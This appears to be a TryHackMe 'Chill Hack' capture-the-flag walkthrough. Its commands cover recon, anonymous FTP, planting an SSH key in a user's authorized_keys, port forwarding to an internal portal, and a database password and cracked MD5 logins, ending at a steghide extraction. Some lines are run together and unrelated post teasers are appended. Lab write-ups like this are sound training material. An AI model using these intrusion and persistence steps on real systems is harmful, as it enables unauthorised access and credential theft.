su
echo"10.10.141.41 chillhack.thm" >> /etc/hosts
# At the end of the room# To clean up the last line from the /etc/hosts filesed -i '$ d' /etc/hosts
Start Reconnaissance
mkdir thm/chillhack
cd thm/chillhack
nmap chillhack.thm
21/tcp open ftp
22/tcp open ssh
80/tcp open http
nmap -sV -sC -Pn -O -oA chillhack chillhack.thm
21/tcp open ftp vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)|_-rw-r--r-- 11001100190 Oct 032020 note.txt
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:10.18.65.48
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 1| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)| ssh-hostkey:
|2048 09f95db918d0b23a822d6e768cc20144 (RSA)|256 1bcf3a498b1b20b02c6aa551a88f1e62 (ECDSA)|_ 256 3005cc52c66f6504860f7241c8a439cf (ED25519)80/tcp open http Apache httpd 2.4.29 ((Ubuntu))|_http-server-header: Apache/2.4.29 (Ubuntu)|_http-title: Game Info
Enumerate Web server directories
gobuster dir -u http://chillhack.thm -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
ss -tnl
Local Address:Port
127.0.0.1:9001
127.0.0.1:3306
127.0.0.53%lo:53
0.0.0.0:22
*:80
*:21
[::]:22
Use SSH Port Forwarding to access the local open port 9001.
Stabilize with a SSH connection by generating a SSH key and put it into the apaar’s user authorized_keys
# Kalissh-keygen -f apaar_rsa
chmod 600 apaar_rsa
cat apaar_rsa.pub
# Back to the Chillhack box "apaar" shellcd /home/apaar/.ssh
echo"<apaar_rsa.pub_Output>" >> authorized_keys
echo"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC8g6f2IrM5xN6SdfgZs1c7O76SZIQSIKjQ7BjYofmLSxRFWG/yXvexxidE+Ka+qV1HzPaCbOZ8TTowMRnonni699Isnx8/Aljs4vpHgOBJpf9jXzjlh4mjO0SgflfvecnTPIVz4ISn2UviCOm2XnlzJeFdcNm8Ej71+A4MKoPDWp9xSaLISebR28Y3phWvsuyBDt35Nc9Je1nKc9Oc7zROmSomQTJCsXBTRDqDLaImAXwvXMXbfMDPvZRXD4Vag/RusBqmlSaKNpCg+4ggDn1jELMVRWI0aFSMC4iRHA4tENmwM/D+gBu6/EUemuYhYJcaH0dPvVpri5/TXy8k418uJMJWRbh66Gy7pUG44U7jNu4M1OWUJNOw3fcUDRo6udz4/XgDDCBAICXK9b38Ar3ykH+nPuBW1GrivOq+iiXAILJ9yPTdDjirUcrTaEze3Eq/r/vQO5kvMe9wWhUtr87EFDSuFfZt/F0asKFjCbQ/Xk8a4hUfC+FC8jnik94KiQ8=" >> /home/apaar/.ssh/authorized_keys
# Try the SSH port forwarding with the keyssh -L 9001:127.0.0.1:9001 -i apaar_rsa [email protected]
Navigate to
http://chillhack.thm:9001/
ls -lah /var/www/files/
cat account.php
cat hacker.php
cat index.php
# MySQL root password !@m+her00+@dbsu
# the password does NOT work for "root" user
This part can be skipped directly to SCP download of the necessary hacker-with-laptop_23-2147985341.jpg file.
Enumerate MySQL with root:!@m+her00+@db
mysql -u root -p webportal
SHOW tables;SELECT * from users;
Hash Type Result
7e53614ced3640d5de23f111806cc4fd md5 masterpassword
686216240e5af30df0501e53c789a649 md5 dontaskdonttell
π Login credentials are:
Aurick:masterpassword
cullapaar:dontaskdonttell
Login to the portal http://chillhack.thm:9001/. The successful login redirect to hacker.php page where there is a hacker with laptop .jpg file that needs to be downloaded.
Download the hacker-with-laptop_23-2147985341.jpg file using scp
steghide info hacker-with-laptop_23-2147985341.jpg
"hacker-with-laptop_23-2147985341.jpg":
format: jpeg
capacity: 3.6 KB
Try to get information about embedded data ? (y/n) y
Enter passphrase:
embedded file "backup.zip":
size: 750.0 Byte
encrypted: rijndael-128, cbc
compressed: yes
Today we are investigating another TryHackMe Defensive Security challenge where we are provided with Windows event logs that have already been ingested into Splunk.
Today we are solving another Linux-based TryHackMe machine called Oh My WebServer. This machine focuses on exploiting vulnerable web services, container breakout-style enumeration,